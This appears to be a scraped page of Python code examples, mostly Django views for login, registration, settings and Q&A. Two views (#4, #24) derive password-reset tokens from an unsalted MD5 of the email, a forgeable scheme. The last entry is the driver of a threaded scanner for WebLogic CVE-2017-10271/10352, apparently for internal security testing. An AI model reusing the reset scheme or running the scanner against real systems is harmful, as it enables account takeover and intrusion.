Example #1
0
def view_edit_achievement(request, achievement_id, edit_achievement_template):
    userprofile = loggedin_userprofile(request)
    achievement = get_object_or_404(Achievement, id=int(achievement_id))
    if userprofile.is_my_achievement(achievement):
        achievements = list(userprofile.achievements)
        for achievment_info in achievements:
            if achievment_info['id'] == int(achievement_id):
                achievements.remove({'title':achievement.title,
                                        'id':int(achievement_id),
                                        'description':achievement.description})
                break
        if request.method == 'GET':
            form = AddAchievementForm({'title':achievement.title,
                                       'description':achievement.description})
            return response(request, edit_achievement_template, {'achievement':achievement,
                                                                 'form':form,
                                                                 'previous_achievements':achievements})
        form = AddAchievementForm(post_data(request))
        if form.is_valid():
            achievement.update(title=form.cleaned_data.get('title'),
                               description=form.cleaned_data.get('description'),)
            from users.messages import ACHIEVEMENT_UPDATED_SUCCESSFULLY
            messages.success(request, ACHIEVEMENT_UPDATED_SUCCESSFULLY)
            return HttpResponseRedirect(redirect_to=url_reverse('users.views.view_all_achievements'))
        return response(request, edit_achievement_template, {'achievement':achievement,
                                                             'form':form,
                                                             'previous_achievements':achievements})
    raise Http404
Example #2
0
def view_login(request, login_template, next=''):
    from users.forms import UserLoginForm
    if request.method == 'POST':
        data = post_data(request)
        next = data.get('next') if not next else next 
        form = UserLoginForm(data)
        if form.is_valid():
            try:
                userprofile = UserProfile.objects.get(user__email=form.cleaned_data.get('email'), user__is_active=True)
            except UserProfile.DoesNotExist:
                from users.messages import USER_LOGIN_FAILURE
                messages.error(request, USER_LOGIN_FAILURE)
                return response(request, login_template, {'form': form, 'next': next})
            if not userprofile.check_password(form.cleaned_data.get('password')):
                from users.messages import USER_LOGIN_FAILURE
                messages.error(request, USER_LOGIN_FAILURE)
                return response(request, login_template, {'form': form, 'next': next})
            from users.messages import USER_LOGIN_SUCCESSFUL
            messages.success(request, USER_LOGIN_SUCCESSFUL)
            return _let_user_login(request,
                                   userprofile.user,
                                   email=form.cleaned_data.get('email'),
                                   password=form.cleaned_data.get('password'),
                                   next=next)
    else:
        form = UserLoginForm()
    return response(request, login_template, {'form': form, 'next': next})
Example #3
0
def view_save_personal_settings(request, personal_settings_template):
    if request.method == 'GET':
        return view_get_personal_settings(request, personal_settings_template)
    userprofile = loggedin_userprofile(request)
    form = PersonalSettingsForm(post_data(request))
    if form.is_valid():
        name = form.cleaned_data.get('name')
        new_password = form.cleaned_data.get('new_password')
        slug = form.cleaned_data.get('slug')
        if userprofile.can_update_slug():
            if slug:
                if UserProfile.objects.filter(slug=slug).count():
                    from users.messages import WEB_RESUME_URL_ALREADY_PICKED
                    form._errors['slug'] = WEB_RESUME_URL_ALREADY_PICKED
                else:
                    userprofile.update(name=name, slug=slug, password=new_password)
                    from users.messages import ACCOUNT_SETTINGS_SAVED
                    messages.success(request, ACCOUNT_SETTINGS_SAVED)
            else:
                from users.messages import INVALID_WEB_RESUME_URL
                messages.error(request, INVALID_WEB_RESUME_URL)
        else:
            userprofile.update(name=name, password=new_password)
            from users.messages import ACCOUNT_SETTINGS_SAVED
            messages.success(request, ACCOUNT_SETTINGS_SAVED)
    return response(request, personal_settings_template, {'personal_form':form})
Example #4
0
def view_reset_my_password(request, reset_my_password_template):
    if request.method == 'GET':
        if request.GET.has_key('email') and request.GET.has_key('hash_key'):
            email = request.GET.get('email')
            userprofile = get_object_or_404(UserProfile, user__email=email)
            retrieved_hash_key = request.GET.get('hash_key')
            from django.contrib.auth.models import get_hexdigest
            computed_hash_key = get_hexdigest('md5', '', email)
            if retrieved_hash_key == computed_hash_key:
                form = ResetMyPasswordForm()
                return response(request, reset_my_password_template, {'form':form,
                                                                      'email':email})
            from users.messages import INVALID_PASSWORD_RESET_HASH_KEY
            messages.error(request, INVALID_PASSWORD_RESET_HASH_KEY)
            return HttpResponseRedirect(redirect_to='/')
        else:
            raise Http404
    else:
        data = post_data(request)
        form = ResetMyPasswordForm(data)
        if form.is_valid():
            email = data.get('email')
            userprofile = get_object_or_404(UserProfile, user__email=email)
            password = form.cleaned_data.get('password')
            userprofile.set_password(password)
            from users.messages import PASSWORD_RESET_SUCCESSFULLY
            messages.success(request, PASSWORD_RESET_SUCCESSFULLY)
            return _let_user_login(request,
                                   userprofile.user,
                                   email=email,
                                   password=password)
        return response(request, reset_my_password_template, {'form':form,
                                                              'email':data.get('email')})
Example #5
0
def view_contactgroup(request, group_type, group_id, contactgroup_template):
    userprofile = loggedin_userprofile(request)
    if group_type == 'college':
        group = get_object_or_404(College, id=int(group_id))
        to = "%s Students" % group.name
        redirect_url = url_reverse('users.views.view_college', args=(group_id, group.slug))
    elif group_type == 'company':
        group = get_object_or_404(Company, id=int(group_id))
        to = "%s Employees" % group.name
        redirect_url = url_reverse('users.views.view_company', args=(group_id, group.slug))
    else:
        raise Http404
    if request.method == 'POST':
        contactgroupform = ContactGroupForm(post_data(request))
        if contactgroupform.is_valid():
            mail_group(group_type=group_type,
                       group=group,
                       from_email=userprofile.user.email,
                       message=contactgroupform.cleaned_data.get('message'),
                       from_name=userprofile.name,
                       subject=contactgroupform.cleaned_data.get('subject'))
            from users.messages import CONTACTED_SUCCESSFULLY
            messages.success(request, CONTACTED_SUCCESSFULLY)
            return HttpResponseRedirect(redirect_to=redirect_url)
    contactgroupform = ContactGroupForm({'to':to})
    return response(request, contactgroup_template, {'contactgroupform':contactgroupform,
                                                     'group_type':group_type,
                                                     'group_id':group_id})
Example #6
0
def view_give_answer(request, question_id, give_answer_template,
                     question_template):
    question = get_object_or_404(Question, id=int(question_id))
    if request.method == 'POST':
        form = GiveAnswerForm(post_data(request))
        if form.is_valid():
            userprofile = loggedin_userprofile(request)
            new_answer = Answer.objects.create_answer(
                question=question,
                description=form.cleaned_data.get('description'),
                userprofile=userprofile)
            new_anwer_emailer(question, new_answer)
            from quest.messages import ANSWER_POSTING_SUCCESSFUL
            messages.success(request, ANSWER_POSTING_SUCCESSFUL)
            give_answer_form = GiveAnswerForm()
            return response(request, question_template, {
                'question': question,
                'give_answer_form': give_answer_form
            })
        return response(request, question_template, {
            'question': question,
            'give_answer_form': form
        })
    return HttpResponseRedirect(redirect_to=url_reverse(
        'quest.views.view_question', args=(question.id, question.slug)))
Example #7
0
def view_modify_snippet(request, snippet_id, snippet_slug, modify_snippet_template, snippet_profile_template):
    modify = True
    from quest.forms import AddSnippetForm
    if request.method == 'POST':
        form = AddSnippetForm(post_data(request))
        existing_snippet = Snippet.objects.get(id=snippet_id)
        if form.is_valid():
            updated_snippet = _handle_snippet_updation(form, existing_snippet)
            from quest.messages import SNIPPET_UPDATION_SUCCESSFUL
            django_messages_framework.success(request, SNIPPET_UPDATION_SUCCESSFUL)
            return response(request, snippet_profile_template, {'snippet': updated_snippet,
                                                                'owner': True})
        return response(request, modify_snippet_template, {'form': form})
    else:
        snippet = Snippet.objects.get(id=snippet_id)
        form_data = {'title':snippet.title,
                     'explanation':snippet.explanation,
                     'code':snippet.code,
                     'public':snippet.public,
                     'lang':snippet.lang,
                     'tags':" ".join([tag.name for tag in snippet.tags()])}
        form = AddSnippetForm(form_data)
        return response(request, modify_snippet_template, {'form':form,
                                                           'snippet': snippet,
                                                           'modify':modify})
Example #8
0
def view_edit_question(request, question_id, question_slug, edit_question_template):
    userprofile = loggedin_userprofile(request)
    question = get_object_or_404(Question, id=int(question_id))
    if userprofile.is_my_question(question):
        asked_questions = list(userprofile.asked_questions)
        for question_info in asked_questions:
            if question_info['id'] == int(question_id):
                asked_questions.remove({'title':question.title,
                                        'id':int(question_id),
                                        'slug':question_slug})
        
        if request.method == 'GET':
            question_data = {'title':question.title,
                             'description':question.description,
                             'tags':",".join([tag['name'] for tag in question.tags.values('name')])}
            form = AskQuestionForm(question_data)
            return response(request, edit_question_template, {'form':form,
                                                              'question':question,
                                                              'previous_questions':asked_questions})
        form = AskQuestionForm(post_data(request))
        if form.is_valid():
            Question.objects.update_question(question,
                                             title=form.cleaned_data.get('title'),
                                             description=form.cleaned_data.get('description'),
                                             tags=form.cleaned_data.get('tags'))
            from quest.messages import QUESTION_UPDATED_SUCCESSFULLY
            messages.success(request, QUESTION_UPDATED_SUCCESSFULLY)
            return HttpResponseRedirect(redirect_to=url_reverse('quest.views.view_question', args=(question.id, question.slug)))
        return response(request, edit_question_template, {'form':form,
                                                          'question':question,
                                                          'previous_questions':asked_questions})
    raise Http404
Example #9
0
def view_close_answering(request, question_template, close_answer_template):#This would be an ajax post call
    question_id = post_data(request).get('question_id')
    question = get_object_or_404(Question, id=int(question_id))
    userprofile = loggedin_userprofile(request)
    if userprofile.id == question.owner.id:
        question.close_answering()
        return response(request, close_answer_template, {'give_answer_form':None})
    raise Http404
Example #10
0
def view_accept_answer(request, question_id, answers_template):
    question = get_object_or_404(Question, id=int(question_id))
    userprofile = loggedin_userprofile(request)
    if userprofile.id == question.owner.id:
        answer_id = post_data(request).get('answer_id')
        answer = get_object_or_404(Answer, id=int(answer_id))
        answer.accept(userprofile)
        return response(request, answers_template, {'question':question, 'all_answers':question.answers})
    raise Http404
Example #11
0
def view_close_answering(
        request, question_template,
        close_answer_template):  #This would be an ajax post call
    question_id = post_data(request).get('question_id')
    question = get_object_or_404(Question, id=int(question_id))
    userprofile = loggedin_userprofile(request)
    if userprofile.id == question.owner.id:
        question.close_answering()
        return response(request, close_answer_template,
                        {'give_answer_form': None})
    raise Http404
Example #12
0
def _proceed_to_restaurantfood_registration(request, registration_template):
    selected_maintab = 'restaurantfood'
    from restaurants.forms import RestaurantFoodRegistrationForm
    form = RestaurantFoodRegistrationForm(post_data(request))
    if form.is_valid():
        userprofile = _do_register(request, form)
        from utils import setup_loggedin_environment
        setup_loggedin_environment(request, userprofile.email, password=form.cleaned_data.get('rpassword'))
        from utils import get_post_login_url
        post_login_url = get_post_login_url(userprofile)
        return HttpResponseRedirect(post_login_url)
    return response(registration_template, locals(), request)
Example #13
0
def view_accept_answer(request, question_id, answers_template):
    question = get_object_or_404(Question, id=int(question_id))
    userprofile = loggedin_userprofile(request)
    if userprofile.id == question.owner.id:
        answer_id = post_data(request).get('answer_id')
        answer = get_object_or_404(Answer, id=int(answer_id))
        answer.accept(userprofile)
        return response(request, answers_template, {
            'question': question,
            'all_answers': question.answers
        })
    raise Http404
Example #14
0
def view_contactus(request, contactus_template):
    if request.method == 'GET':
        return response(request, contactus_template, {'form':ContactUsForm()})
    form = ContactUsForm(post_data(request))
    if form.is_valid():
        mail_admins(from_email=form.cleaned_data.get('from_email'),
                    from_name=form.cleaned_data.get('from_name'),
                    subject=form.cleaned_data.get('subject'),
                    message=form.cleaned_data.get('message'))
        from users.messages import CONTACTED_SUCCESSFULLY
        messages.success(request, CONTACTED_SUCCESSFULLY)
        return HttpResponseRedirect(redirect_to='/')
    return response(request, contactus_template, {'form':form})
Example #15
0
def view_search(request, search_template):
    from feeds.forms import SearchForm

    feedentries = []
    if request.method == "POST":
        form = SearchForm(post_data(request))
        if form.is_valid():
            query = form.cleaned_data["query"]
            if not hasattr(settings, "SEARCHER") or settings.SEARCHER == "normal":
                feedentries = FeedEntry.objects.filter(Q(title__icontains=query) | Q(desc__icontains=query))
    else:
        form = SearchForm()
    return response(request, search_template, {"form": form, "feedentries": feedentries})
Example #16
0
def view_edit_question(request, question_id, question_slug,
                       edit_question_template):
    userprofile = loggedin_userprofile(request)
    question = get_object_or_404(Question, id=int(question_id))
    if userprofile.is_my_question(question):
        asked_questions = list(userprofile.asked_questions)
        for question_info in asked_questions:
            if question_info['id'] == int(question_id):
                asked_questions.remove({
                    'title': question.title,
                    'id': int(question_id),
                    'slug': question_slug
                })

        if request.method == 'GET':
            question_data = {
                'title':
                question.title,
                'description':
                question.description,
                'tags':
                ",".join([tag['name'] for tag in question.tags.values('name')])
            }
            form = AskQuestionForm(question_data)
            return response(
                request, edit_question_template, {
                    'form': form,
                    'question': question,
                    'previous_questions': asked_questions
                })
        form = AskQuestionForm(post_data(request))
        if form.is_valid():
            Question.objects.update_question(
                question,
                title=form.cleaned_data.get('title'),
                description=form.cleaned_data.get('description'),
                tags=form.cleaned_data.get('tags'))
            from quest.messages import QUESTION_UPDATED_SUCCESSFULLY
            messages.success(request, QUESTION_UPDATED_SUCCESSFULLY)
            return HttpResponseRedirect(redirect_to=url_reverse(
                'quest.views.view_question', args=(question.id,
                                                   question.slug)))
        return response(
            request, edit_question_template, {
                'form': form,
                'question': question,
                'previous_questions': asked_questions
            })
    raise Http404
Example #17
0
def view_give_answer(request, question_id, give_answer_template, question_template):
    question = get_object_or_404(Question, id=int(question_id))
    if request.method == 'POST':
        form = GiveAnswerForm(post_data(request))
        if form.is_valid():
            userprofile = loggedin_userprofile(request)
            new_answer = Answer.objects.create_answer(question=question,
                                                      description=form.cleaned_data.get('description'),
                                                      userprofile=userprofile)
            new_anwer_emailer(question, new_answer)
            from quest.messages import ANSWER_POSTING_SUCCESSFUL
            messages.success(request, ANSWER_POSTING_SUCCESSFUL)
            give_answer_form = GiveAnswerForm()
            return response(request, question_template, {'question':question, 'give_answer_form':give_answer_form})
        return response(request, question_template, {'question':question, 'give_answer_form':form})
    return HttpResponseRedirect(redirect_to=url_reverse('quest.views.view_question', args=(question.id, question.slug)))
Example #18
0
def view_register(request, registration_template, next=''):
    from users.forms import RegistrationForm
    if request.method == 'POST':
        form = RegistrationForm(post_data(request))
        if form.is_valid():
            userprofile = _handle_user_registration(form)
            from users.messages import USER_SIGNUP_SUCCESSFUL
            django_messages_framework.success(request, USER_SIGNUP_SUCCESSFUL)
            return _let_user_login(request,
                                   userprofile.user,
                                   email=form.cleaned_data.get('email'),
                                   password=form.cleaned_data.get('password'),
                                   next=form.cleaned_data.get('next'))
    else:
        form = RegistrationForm()
    return response(request, registration_template, {'form': form, 'next': next})
Example #19
0
def view_ask_question(request, ask_question_template):
    userprofile = loggedin_userprofile(request)
    asked_questions = userprofile.asked_questions
    if request.method == 'GET':
        form = AskQuestionForm()
        return response(request, ask_question_template, {'form':form,
                                                         'asked_questions':asked_questions})
    form = AskQuestionForm(post_data(request))
    if form.is_valid():
        question = Question.objects.create_question(title=form.cleaned_data.get('title'),
                                                    description=form.cleaned_data.get('description'),
                                                    userprofile=userprofile,
                                                    tags=form.cleaned_data.get('tags'))
        messages.success(request, QUESTION_POSTING_SUCCESSFUL)
        return HttpResponseRedirect(redirect_to=url_reverse('quest.views.view_question', args=(question.id, question.slug)))
    return response(request, ask_question_template, {'form':form,
                                                     'asked_questions':asked_questions})
Example #20
0
def view_reset_password(request, passwordreset_template):
    from users.forms import PasswordResetForm
    if request.method == 'POST':
        form = PasswordResetForm(post_data(request))
        if not form.is_valid():
            return response(passwordreset_template,locals(),request)
        email = form.cleaned_data.get('email')
        from users.models import UserProfile
        userprofile = UserProfile.objects.get(email=email)
        new_password = userprofile.reset_password()
        from utils.emailer import passwordreset_mailer
        passwordreset_mailer(userprofile, new_password)
        from users.messages import PASSWORD_RESET_EMAIL_SUCCESS
        _add_successmsg(request, PASSWORD_RESET_EMAIL_SUCCESS % email)
        return response(passwordreset_template,locals(),request)
    form = PasswordResetForm()
    return response(passwordreset_template,locals(),request)
Example #21
0
def view_add_achievement(request, add_achievement_template):
    userprofile = loggedin_userprofile(request)
    achievements = userprofile.achievements
    if request.method == 'GET':
        form = AddAchievementForm()
        return response(request, add_achievement_template, {'form':form,
                                                            'achievements':achievements})
    form = AddAchievementForm(post_data(request))
    if form.is_valid():
        Achievement.objects.create_achievement(userprofile,
                                               title=form.cleaned_data.get('title'),
                                               description=form.cleaned_data.get('description'))
        from users.messages import ACHIEVEMENT_ADDED_SUCCESSFULLY
        messages.success(request, ACHIEVEMENT_ADDED_SUCCESSFULLY)
        return HttpResponseRedirect(url_reverse('users.views.view_all_achievements'))
    return response(request, add_achievement_template, {'form':form,
                                                        'achievements':achievements})
Example #22
0
def view_invite(request, invite_template):
    if request.method == 'GET':
        return response(request, invite_template, {'form':InvitationForm()})
    userprofile = loggedin_userprofile(request)
    form = InvitationForm(post_data(request))
    if form.is_valid():
        try:
            invitation_emailer(from_email=userprofile.user.email,
                               to_emails=form.cleaned_data.get('to_emails'),
                               from_name=userprofile.name)
            from users.messages import CONTACTED_SUCCESSFULLY
            messages.success(request, CONTACTED_SUCCESSFULLY)
            return HttpResponseRedirect(redirect_to='/')
        except Exception:
            from users.messages import CONTACTING_FAILED
            messages.error(request, CONTACTING_FAILED)
    return response(request, invite_template, {'form':form})
Example #23
0
def view_signup(request, signup_template):
    if request.method == 'POST':
        form = SignUpForm(post_data(request))
        if form.is_valid():
            signup_data = form.cleaned_data
            userprofile = UserProfile.objects.create_profile(email=signup_data.get('email'),
                                                             password=signup_data.get('password'),
                                                             name=signup_data.get('name'))
            return _let_user_login(request,
                                   userprofile.user,
                                   email=signup_data.get('email'),
                                   password=signup_data.get('password'))
        else:
            from users.messages import USER_SIGNUP_FAILURE
            messages.error(request, USER_SIGNUP_FAILURE)
    else:
        form = SignUpForm()
    return response(request, signup_template, {'form':form})
Example #24
0
def view_forgot_password(request, forgot_password_template):
    if request.method == 'GET':
        form = ForgotPasswordForm()
        return response(request, forgot_password_template, {'form':form})
    form = ForgotPasswordForm(post_data(request))
    if not form.is_valid():
        return response(request, forgot_password_template, {'form':form})
    email = form.cleaned_data.get('email')
    try:
        from django.contrib.auth.models import get_hexdigest
        hash_key = get_hexdigest('md5', '', email)
        forgot_password_emailer(email, hash_key)
        from users.messages import SENT_FORGOT_PASSWORD_EMAIL_SUCCESSFULLY
        messages.success(request, SENT_FORGOT_PASSWORD_EMAIL_SUCCESSFULLY)
    except:
        from users.messages import CONTACTING_FAILED
        messages.error(request, CONTACTING_FAILED)
    return HttpResponseRedirect(redirect_to='/')
Example #25
0
def view_save_acad_settings(request, acad_settings_template):
    if request.method == 'GET':
        return view_get_acad_settings(request, acad_settings_template)
    userprofile = loggedin_userprofile(request)
    acad_form = AcadSettingsForm(post_data(request))
    if acad_form.is_valid():
        branch = acad_form.cleaned_data.get('branch')
        college = acad_form.cleaned_data.get('college')
        start_year = acad_form.cleaned_data.get('start_year')
        end_year = acad_form.cleaned_data.get('end_year')
        aggregate = acad_form.cleaned_data.get('aggregate')
        userprofile.join_college(college_name=college,
                                 branch=branch,
                                 start_year=start_year,
                                 end_year=end_year,
                                 aggregate=aggregate)
        from users.messages import ACCOUNT_SETTINGS_SAVED
        messages.success(request, ACCOUNT_SETTINGS_SAVED)
    return response(request, acad_settings_template, {'acad_form':acad_form})
Example #26
0
def view_refer_friend(request, referfriend_template):
    if request.method != 'POST':
        from common.forms import ReferFriendForm
        form = ReferFriendForm()
        return response(referfriend_template, locals(), request)
    from common.forms import ReferFriendForm
    form = ReferFriendForm(post_data(request))
    if not form.is_valid():
        _add_errormsg(request,'Please fill up valid inforsettingsmation in required fields')
        return response(referfriend_template, locals(), request)
    name = form.cleaned_data.get('name')
    email = form.cleaned_data.get('email')
    ref_emails = form.cleaned_data.get('ref_emails')
    ref_mobiles = form.cleaned_data.get('ref_mobiles')
    if _send_invitations(request,name, email, ref_emails, ref_mobiles):
        _add_successmsg(request, 'Your friend(s) \' %s \' have been invited. Thanks for being with favmeal!' % (ref_emails))
        return response(referfriend_template, locals(), request)        
    else:
        _add_errormsg(request,'There seems to be a problem in sending the invitation. Please try again!')
        return response(referfriend_template, locals(), request)        
Example #27
0
def view_contactus(request,homepage_template,contactus_template):
    selected_maintab = 'contactus'
    if request.method != 'POST':
        from common.forms import ContactUsQueryForm
        form = ContactUsQueryForm()
        return response(contactus_template, locals(), request)
    from common.forms import ContactUsQueryForm
    form = ContactUsQueryForm(post_data(request))
    if not form.is_valid():
        return response(contactus_template, locals(), request)
    email = form.cleaned_data.get('email')
    name = form.cleaned_data.get('name')
    query = form.cleaned_data.get('query')
    from utils.emailer import customer_query_emailer
    mail_sent = customer_query_emailer(subject="Customer Query",from_email=email,email_body=query,from_name=name)
    if mail_sent:
        _add_successmsg(request,'Query Successfully Submitted. We will get back to you very soon. Thankyou.')
        return response(homepage_template, locals(), request)
    _add_errormsg(request,'Query can\'t be submitted now. Please try again.')
    return response(contactus_template, locals(), request)
Example #28
0
def view_register(request, registration_template, user_type=''):
    next = request.GET.get('next', '') if request.method == 'GET' else request.POST.get('next', '')
    print 'next:%s' % next
    if not user_type:
        return response(request, registration_template, {'next':next})
    form_to_be_loaded = _get_signup_form_for_usertype(user_type)
    if request.method == 'GET':
        _set_signup_greeting_for_usertype(request, user_type)
        return response(request, registration_template, {'form':form_to_be_loaded(), 'next':next})
    form = form_to_be_loaded(post_data(request))
    if form.is_valid():
        userprofile = _handle_user_registration(form, user_type=user_type)
        from users.messages import USER_SIGNUP_SUCCESSFUL
        messages.success(request, USER_SIGNUP_SUCCESSFUL)
        return _let_user_login(request,
                               userprofile.user,
                               email=form.cleaned_data.get('email'),
                               password=form.cleaned_data.get('password'),
                               next=next)
    return response(request, registration_template, {'form': form, 'next': next})
Example #29
0
def view_createmess(request):
    response_dict = {}
    response_dict['errors'] = None
    from messfood.forms import MessCreationForm
    form = MessCreationForm(post_data(request))
    if not form.is_valid():
        response_dict['errors'] = form.errors
        return HttpResponse(simplejson.dumps(response_dict))
    try:
        from common.models import Address
        address = Address.objects.create_address(place=form.cleaned_data.get('mess_place'), landmark=form.cleaned_data.get('mess_landmark'), area=form.cleaned_data.get('mess_area'), zip=form.cleaned_data.get('mess_zip'))
        from messfood.models import Mess
        mess = Mess.objects.create_mess(name=form.cleaned_data.get('mess_place'), address=address)
        response_dict['message']='Your favourite Mess has been put to review'
        response_dict['messname']=mess.name
        response_dict['messid']=mess.id
    except Exception,e:
        response_dict['errors']=e.__str__()
        response_dict['messname']=None
        response_dict['messid']=None
Example #30
0
def view_notepad(request, notepad_template):
    userprofile = loggedin_userprofile(request)
    all_notes = userprofile.all_notes
    if request.method == 'GET':
        return response(request, notepad_template, {'form':SaveNoteForm(),
                                                    'all_notes':all_notes})
    form = SaveNoteForm(post_data(request))
    userprofile = loggedin_userprofile(request)
    if not form.is_valid():
        return response(request, notepad_template, {'form':form,
                                                    'all_notes':all_notes})
    Note.objects.create_note(userprofile=userprofile,
                             name=form.cleaned_data.get('name'),
                             short_description=form.cleaned_data.get('short_description'),
                             note=form.cleaned_data.get('content'),
                             public=form.cleaned_data.get('public'))
    from users.messages import SAVED_NOTEPAD_SUCCESSFULLY_MESSAGE
    messages.success(request, SAVED_NOTEPAD_SUCCESSFULLY_MESSAGE)
    return response(request, notepad_template, {'form':SaveNoteForm(),
                                                'all_notes':all_notes})
Example #31
0
def view_login(request, login_template, next=''):
    from users.forms import LoginForm
    if request.method == 'POST':
        form = LoginForm(post_data(request))
        if form.is_valid():
            userprofile = UserProfile.objects.get(email=form.cleaned_data.get('email'))
            if not userprofile.user.check_password(form.cleaned_data.get('password')):
                from users.messages import USER_LOGIN_FAILURE
                django_messages_framework.error(request, USER_LOGIN_FAILURE)
                return response(request, login_template, {'form': form, 'next': next})
            from users.messages import USER_LOGIN_SUCCESSFUL
            django_messages_framework.success(request, USER_LOGIN_SUCCESSFUL)
            return _let_user_login(request,
                                   userprofile.user,
                                   email=form.cleaned_data.get('email'),
                                   password=form.cleaned_data.get('password'),
                                   next=form.cleaned_data.get('next'))
    else:
        form = LoginForm()
    return response(request, login_template, {'form': form, 'next': next})
Example #32
0
def view_login(request, login_template):
    selected_maintab = 'login'
    if request.method != 'POST':
        from users.forms import LoginForm
        loginform = LoginForm()
        return response(login_template,locals(),request)
    from users.forms import LoginForm
    loginform = LoginForm(post_data(request))
    if loginform.is_valid():
        email = loginform.cleaned_data.get('lusername')
        password = loginform.cleaned_data.get('lpassword')
        from utils import setup_loggedin_environment
        user = setup_loggedin_environment(request, email, password)
        if not user:
            from users.messages import INVALID_LOGIN_INFO
            _add_errormsg(request, INVALID_LOGIN_INFO)
            return response(login_template,locals(),request)
        from utils import get_post_login_url
        post_login_url = get_post_login_url(user.get_profile())
        return HttpResponseRedirect(post_login_url)
    return response(login_template,locals(),request)
Example #33
0
def view_contactuser(request, user_id, contactuser_template):
    userprofile = loggedin_userprofile(request)
    to_userprofile = get_object_or_404(UserProfile, id=int(user_id))
    if request.method == 'GET':
        return response(request, contactuser_template, {'contactuserform':ContactUserForm({'to':to_userprofile.name,
                                                                                           'message':'Hello,'}),
                                                        'to_userprofile':to_userprofile})
    form = ContactUserForm(post_data(request))
    if form.is_valid():
        try:
            default_emailer(from_email=userprofile.user.email,
                            to_emails=[form.cleaned_data.get('to')],
                            subject=form.cleaned_data.get('subject'),
                            message=form.cleaned_data.get('message'))
            from users.messages import CONTACTED_SUCCESSFULLY
            messages.success(request, CONTACTED_SUCCESSFULLY)
            return HttpResponseRedirect(redirect_to=url_reverse('users.views.view_userprofile', args=(to_userprofile.slug,)))
        except Exception:
            from users.messages import CONTACTING_FAILED
            messages.error(request, CONTACTING_FAILED)
    return response(request, contactuser_template, {'contactuserform':form, 'to_userprofile':to_userprofile})
Example #34
0
def view_save_workinfo_settings(request, workinfo_settings_template):
    if request.method == 'GET':
        return view_get_workinfo_settings(request, workinfo_settings_template)
    userprofile = loggedin_userprofile(request)
    form = WorkInfoSettingsForm(post_data(request))
    if form.is_valid():
        workplace = form.cleaned_data.get('workplace')
        designation = form.cleaned_data.get('designation')
        years_of_exp = form.cleaned_data.get('years_of_exp')
        #TODO:Currently a Professor getting a corporate job is not handled
        if userprofile.is_student:
            workplace_type = 'Company'
            userprofile.make_employee()
        elif userprofile.is_employee:
            workplace_type = 'Company'
        else:
            workplace_type = 'College'
            userprofile.make_professor()
        userprofile.join_workplace(workplace, workplace_type, designation, years_of_exp)
        from users.messages import ACCOUNT_SETTINGS_SAVED
        messages.success(request, ACCOUNT_SETTINGS_SAVED)
    return response(request, workinfo_settings_template, {'workinfo_form':form})
Example #35
0
def view_ask_question(request, ask_question_template):
    userprofile = loggedin_userprofile(request)
    asked_questions = userprofile.asked_questions
    if request.method == 'GET':
        form = AskQuestionForm()
        return response(request, ask_question_template, {
            'form': form,
            'asked_questions': asked_questions
        })
    form = AskQuestionForm(post_data(request))
    if form.is_valid():
        question = Question.objects.create_question(
            title=form.cleaned_data.get('title'),
            description=form.cleaned_data.get('description'),
            userprofile=userprofile,
            tags=form.cleaned_data.get('tags'))
        messages.success(request, QUESTION_POSTING_SUCCESSFUL)
        return HttpResponseRedirect(redirect_to=url_reverse(
            'quest.views.view_question', args=(question.id, question.slug)))
    return response(request, ask_question_template, {
        'form': form,
        'asked_questions': asked_questions
    })
Example #36
0
def view_edit_note(request, note_id, notepad_template):
    userprofile = loggedin_userprofile(request)
    note = get_object_or_404(Note, id=int(note_id))
    if userprofile.is_my_note(note):
        all_notes = userprofile.all_notes
        if request.method == 'GET':
            form = SaveNoteForm({'name':note.name,
                                 'short_description':note.short_description,
                                 'content':note.note,
                                 'public':note.public})
            return response(request, notepad_template, {'form':form,
                                                        'note':note,
                                                        'all_notes':all_notes})
        form = SaveNoteForm(post_data(request))
        if form.is_valid():
            note.update(name=form.cleaned_data.get('name'),
                        short_description=form.cleaned_data.get('short_description'),
                        note=form.cleaned_data.get('content'),
                        public=form.cleaned_data.get('public'))
            from users.messages import SAVED_NOTEPAD_SUCCESSFULLY_MESSAGE
            messages.success(request, SAVED_NOTEPAD_SUCCESSFULLY_MESSAGE)
        return response(request, notepad_template, {'form':SaveNoteForm(),
                                                    'all_notes':all_notes})
    raise Http404
def main():
    parser = optparse.OptionParser()
    parser.add_option('-H',
                      dest='tgtHost',
                      type="string",
                      help='specify target host')
    parser.add_option('-p',
                      dest='tgtPort',
                      type='int',
                      help="specify target port")
    parser.add_option(
        '-b',
        action="store_true",
        dest='batch',
        default=False,
        help="do a batch scan obtaining url list from remote server")
    parser.add_option('--time-based',
                      action="store_true",
                      dest='time_base',
                      help="time based",
                      default=False)
    parser.add_option('-c', dest='command', help='command to execute')
    parser.add_option('-f', dest='filepath', help='file to load')
    parser.add_option('-O', dest='os', help='choose OS')
    parser.add_option('--create-file',
                      action="store_true",
                      dest='create_file',
                      help="create file using native java",
                      default=False)
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPort = options.tgtPort
    batch = options.batch
    time_base = options.time_base
    command = options.command
    filepath = options.filepath
    os = options.os
    create_file = options.create_file
    if batch and time_base and not tgtHost and not tgtPort and not command and not create_file:
        urllist = utils.get_url_list(
            "https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!getAllUrls.do"
        )
        if urllist:
            target_host_port = map(utils.process_url, urllist)
            pool = ThreadPool(50)
            final_results_10271 = pool.map(cve_2017_10271_time_based,
                                           target_host_port)
            pool.close()
            pool.join()
            json_data_10271 = utils.assembly_data(
                "030103", dict(zip(urllist, final_results_10271)))
            print utils.post_data(
                json_data_10271,
                "https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do"
            )

    elif batch and tgtHost == None and tgtPort == None and not time_base and not command and not create_file:
        urllist = utils.get_url_list(
            "https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!getAllUrls.do"
        )
        #print urllist
        assert 'https://' not in urllist
        assert 'http://' not in urllist
        assert 'http' not in urllist
        assert 'https' not in urllist

        if urllist:
            target_url_list1 = map(
                lambda url: 'http://' + utils.process_url(url)[0] + ":" + str(
                    utils.process_url(url)[1]) +
                '/wls-wsat/CoordinatorPortType', urllist)
            target_url_list2 = map(
                lambda url: 'http://' + utils.process_url(url)[0] + ":" + str(
                    utils.process_url(url)[1]) +
                '/wls-wsat/CoordinatorPortType11', urllist)
            pool = ThreadPool(50)
            results1_10271 = pool.map(cve_2017_10271, target_url_list1)
            results2_10271 = pool.map(cve_2017_10271, target_url_list2)

            results1_10352 = pool.map(cve_2017_10352, target_url_list1)
            results2_10352 = pool.map(cve_2017_10352, target_url_list2)
            pool.close()
            pool.join()

